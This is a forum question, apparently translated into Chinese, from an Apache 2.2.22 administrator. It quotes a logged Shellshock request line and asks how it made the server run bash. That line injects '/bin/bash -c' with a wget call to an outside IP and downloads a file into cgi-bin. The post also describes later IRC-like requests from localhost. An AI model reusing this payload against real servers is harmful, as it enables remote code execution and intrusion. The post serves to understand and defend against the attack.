如何防止Apache執行請求行作爲bash命令？

Question

我在Apache 2.2.22上運行了幾個虛擬主機，並且只注意到日誌中一個相當驚人的事件：來自冰島的「安全掃描器」能夠通過以下http請求行將文件寫入cgi-bin目錄：

() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\" 

它有效地下載了有問題的文件。
任何人都可以解釋這個請求如何設法實際執行bash命令嗎？

當然，cgi-bin不應該是可寫的，但它仍然有助於理解這種類型的漏洞利用函數以及是否無法更改Apache配置參數以便請求命令永遠不會執行...

這可能是無關的，但幾個小時後，有已經開始從內部接口奇怪的請求流，每2秒發生：

host: ":443" request: "NICK netply" source ip: 127.0.0.1